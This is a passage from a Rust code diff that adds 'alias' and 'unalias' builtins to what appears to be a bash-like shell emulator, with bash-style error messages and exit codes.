35
|
+
}
|
|
36
|
+
|
|
37
|
+
let mut output = String::new();
|
|
38
|
+
let mut exit_code = 0;
|
|
39
|
+
let mut stderr = String::new();
|
|
40
|
+
|
|
41
|
+
for arg in ctx.args {
|
|
42
|
+
if let Some(eq_pos) = arg.find('=') {
|
|
43
|
+
// alias name=value — set directly
|
|
44
|
+
let name = &arg[..eq_pos];
|
|
45
|
+
let value = &arg[eq_pos + 1..];
|
|
46
|
+
shell.aliases.insert(name.to_string(), value.to_string());
|
|
47
|
+
} else {
|
|
48
|
+
// alias name — show the alias
|
|
49
|
+
if let Some(value) = shell.aliases.get(arg.as_str()) {
|
|
50
|
+
output.push_str(&format!("alias {}='{}'\n", arg, value));
|
|
51
|
+
} else {
|
|
52
|
+
stderr.push_str(&format!("bash: alias: {}: not found\n", arg));
|
|
53
|
+
exit_code = 1;
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
58
|
+
Ok(ExecResult {
|
|
59
|
+
stdout: output,
|
|
60
|
+
stderr,
|
|
61
|
+
exit_code,
|
|
62
|
+
..Default::default()
|
|
63
|
+
})
|
|
64
|
+
}
|
|
65
|
+
}
|
|
66
|
+
|
|
67
|
+
/// `unalias` builtin — remove alias definitions.
|
|
68
|
+
///
|
|
69
|
+
/// Usage:
|
|
70
|
+
/// - `unalias name` — remove alias
|
|
71
|
+
/// - `unalias -a` — remove all aliases
|
|
72
|
+
pub struct Unalias;
|
|
73
|
+
|
|
74
|
+
#[async_trait]
|
|
75
|
+
impl Builtin for Unalias {
|
|
76
|
+
async fn execute(&self, mut ctx: Context<'_>) -> Result<ExecResult> {
|
|
77
|
+
let Some(shell) = ctx.shell.as_mut() else {
|
|
78
|
+
return Ok(ExecResult::err(
|
|
79
|
+
"bash: unalias: usage: unalias [-a] name [name ...]\n".to_string(),
|
|
80
|
+
2,
|
|
81
|
+
));
|
|
82
|
+
};
|
|
83
|
+
|
|
84
|
+
if ctx.args.is_empty() {
|
|
85
|
+
return Ok(ExecResult::err(
|
|
86
|
+
"bash: unalias: usage: unalias [-a] name [name ...]\n".to_string(),
|
|
87
|
+
2,
|
|
88
|
+
));
|
|
89
|
+
}
|
|
90
|
+
|
|
91
|
+
let mut exit_code = 0;
|
|
92
|
+
let mut stderr = String::new();
|
|
93
|
+
|
|
94
|
+
for arg in ctx.args {
|
|
95
|
+
if arg == "-a" {
|
|
96
|
+
shell.aliases.clear();
|
|
97
|
+
} else if shell.aliases.remove(arg.as_str()).is_none() {
|
|
98
|
+
stderr.push_str(&format!("bash: unalias: {}: not found\n", arg));
|
|
99
|
+
exit_code = 1;
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
Ok(ExecResult {
|
|
104
|
+
stderr,
|
|
105
|
+
exit_code,
|
|
106
|
+
..Default::default()
|
|
107
|
+
})
|
|
108
|
+
}
|
|
109
|
+
}
|